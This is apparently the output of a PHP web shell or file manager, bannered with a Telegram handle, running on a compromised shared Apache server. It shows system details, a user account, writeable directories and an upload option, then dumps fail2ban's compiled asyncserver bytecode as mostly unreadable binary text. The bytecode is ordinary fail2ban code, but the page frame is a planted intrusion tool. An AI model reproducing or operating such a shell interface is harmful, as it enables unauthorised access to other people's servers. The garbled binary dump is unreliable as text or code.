https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/fail2ban/server/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/fail2ban/server/__pycache__/asyncserver.cpython-310.pyc
o

;s*b�'�@s�dZdZdZddlmZmZmZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlmZdd	lmZdd
lmZmZmZee�ZGdd�dej�Zddd�ZGdd�dej�ZGdd�de�Z dS)z
Cyril Jaquierz Copyright (c) 2004 Cyril Jaquier�GPL�)�dumps�loads�HIGHEST_PROTOCOLN�)�Utils�)�CSPROTO)�logging�	getLogger�formatExceptionInfoc@sLeZdZdd�Zdd�Zdd�Zdd�ZGd	d
�d
e�Zdd�Z	d
d�Z
dS)�RequestHandlercCs0tj�||�||_||_g|_|�tj�dS�N)	�asynchat�
async_chat�__init__�_RequestHandler__conn�_RequestHandler__transmitter�_RequestHandler__buffer�set_terminatorr	�END)�self�conn�transmitter�r�=/usr/lib/python3/dist-packages/fail2ban/server/asyncserver.pyr5s
zRequestHandler.__init__cCsH|jr"|j}d|_z
|�tj�|��WdStjy!YdSwdSr)r�shutdown�socket�	SHUT_RDWR�close�error)rrrrr�__close=s��zRequestHandler.__closecCs|��tj�|�dSr)�_RequestHandler__closerr�handle_close�rrrrr#GszRequestHandler.handle_closecCs|j�|�dSr)r�append)r�datarrr�collect_incoming_dataKsz$RequestHandler.collect_incoming_datac@�eZdZdS)zRequestHandler.LoadErrorN��__name__�
__module__�__qualname__rrrr�	LoadErrorP�r-c
Cs zZ|j}g|_tj�|�}|tjkr|��WdSzt|�}Wnty=}ztj	d|t�
�tjkd�t
�|��d}~ww|jrH|j�|�}ndg}t|t�}|�|tj�WdSty�}z)t|t
j�sutj	d|t�
�tjkd�td|t�}|�|tj�WYd}~dSd}~ww)Nz$PROTO-error: load message failed: %s��exc_info�SHUTDOWNzCaught unhandled exception: %r�	ERROR: %s)rr	�EMPTY�join�CLOSE�close_when_doner�	Exception�logSysr �getEffectiveLevelr
�DEBUGr
r-r�proceedrr�pushr�
isinstance)r�message�errr�found_terminatorXs<
�
��
���zRequestHandler.found_terminatorc
Cs�z(t�\}}t�dt|��t�t�����td|t�}|�	|t
j�Wnty:}zWYd}~nd}~ww|�
�dS)Nz"Unexpected communication error: %sr2)rr8r �str�	traceback�
format_exc�
splitlinesrrr<r	rr7r6)r�e1�e2r>r?rrr�handle_error~s
��zRequestHandler.handle_errorN)r*r+r,rr"r#r'r7r-r@rGrrrrr
3s
&r
Fc
Cs�|si}d|d<|durtj}tj}t|�r|}n|r2tjr2ttjd�r2t�	d�t
|�d}tj}|�r�z||�|drF|dd8<Wn{ty�}zo|�sYWYd}~dS|dd7<|ddkr�|jdt
jt
jfvr{t�d	t|��n=t�d	t|��n4|ddkr�t�|�t�d
�n#|ddkr�|jdt
jks�t|���dkr�t�d|�WYd}~dSWYd}~nd}~ww|�s5dSdS)
z�Custom event loop implementation

	Uses poll instead of loop to respect `active` flag,
	to avoid loop timeout mistake: different in poll and poll2 (sec vs ms),
	and to prevent sporadic errors like EBADF 'Bad file descriptor' etc. (see gh-161)
	r�listenN�pollz"Server listener (select) uses poll��r�z Server connection was closed: %sz0Too many errors - stop logging connection errors�d�+Too many errors - critical count reached %r)r�DEFAULT_SLEEP_TIME�asyncorerI�callable�poll2�hasattr�selectr8�debug�floatr7�args�errno�ENOTCONN�EBADF�inforAr �	exception�EMFILE�sum�values�critical)�active�timeout�use_poll�	err_countrIr?rrr�loop�sH
�
���rdc@sbeZdZdd�Zdd�Zdd�Zdd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zedd��Z
dS)�AsyncServercCs:tj�|�||_d|_d|_d|_ddd�|_d|_dS)Nz/var/run/fail2ban/fail2ban.sockFr)�acceptrH)	rO�
dispatcherr�_AsyncServer__transmitter�_AsyncServer__sock�_AsyncServer__init�_AsyncServer__active�_AsyncServer__errCount�onstart)rrrrrr�s
zAsyncServer.__init__cCsdS�NFrr$rrr�writable�szAsyncServer.writablec
Csz|��\}}Wngtyo}z[|jdd7<|jddkr.tjd||jddkd�n6|jddkr;t�d�n)|jddkrdt|tj�rP|jdt	j
ksYt|j���d	krdt�
d
|j�|��WYd}~dSd}~ww|jdr~|jdd8<t�|�t||j�dS)NrfrrKzAccept socket error: %sr/z.Too many acceptor errors - stop logging errorsrLrrJrM)rfr7rlr8�warningr r=rrVrWr\r]r^r_�stopre�_AsyncServer__markCloseOnExecr
rh)rr�addrr?rrr�
handle_accept�s0�
���

zAsyncServer.handle_acceptNFcs�t���_|�_tj�|�r#t�d�|rt�	d���
�ntd����t
jt
j����z��|�WntyDtd�j��wt��j
���d�d�_�_�_�jr`���t�fdd�||�jd	�d
�_���dS)Nz$Fail2ban seems to be already runningzForcing execution of the serverzServer already runningzUnable to bind socket %srTcs�jSr)�_AsyncServer__looprr$rr�<lambda>sz#AsyncServer.start.<locals>.<lambda>)rarbrcF)�	threading�current_thread�_AsyncServer__workerri�os�path�existsr8r rp�_remove_sock�AsyncServerException�
create_socketr�AF_UNIX�SOCK_STREAM�set_reuse_addr�bindr7rerrrHrjrurkrmrdrlrq)r�sock�forcerarbrr$r�start�s.



�
zAsyncServer.startcs�d}�jr8d�_�jrz	�j�tj�Wn
tjyYnwtj���t	�
��jkr6t�
�fdd�d�d}�jrNtj��j�rN���t�d�j�|rUt�d�d�_dS)NFcs�jSr�rkrr$rrrvsz#AsyncServer.close.<locals>.<lambda>rTzRemoved socket file zSocket shutdown)rkrurrrr rOrgrrwrxryr�wait_forrjrzr{r|rir}r8rT)r�stopflgrr$rrs&�

zAsyncServer.closecCs|jr
t�d�d|_dSdS)NzStop communication, shutdown)rhr8rTr$rrr�stop_communication,s

�zAsyncServer.stop_communicationcCs|��|��dSr)r�rr$rrrrq4szAsyncServer.stopcCs|jSrr�r$rrr�isActive9szAsyncServer.isActivec
CsHz	t�|j�WdSty#}z|jtjkr�WYd}~dSd}~wwr)rz�removeri�OSErrorrW�ENOENT)rr?rrrr}?s���zAsyncServer._remove_sockcCs0|��}t�|tj�}t�|tj|tjB�dSr)�fileno�fcntl�F_GETFD�F_SETFD�
FD_CLOEXEC)r��fd�flagsrrr�__markCloseOnExecLszAsyncServer.__markCloseOnExecrn)r*r+r,rrortr�rr�rqr�r}�staticmethodrrrrrrre�s

rec@r()r~Nr)rrrrr~Vr.r~)NFN)!�
__author__�
__copyright__�__license__�picklerrrrrOrWr�rzr�sysrwrB�utilsr�protocolr	�helpersr
rrr*r8rr
rdrgrer7r~rrrr�<module>s,
X6

https://t.me/RX1948 - 2025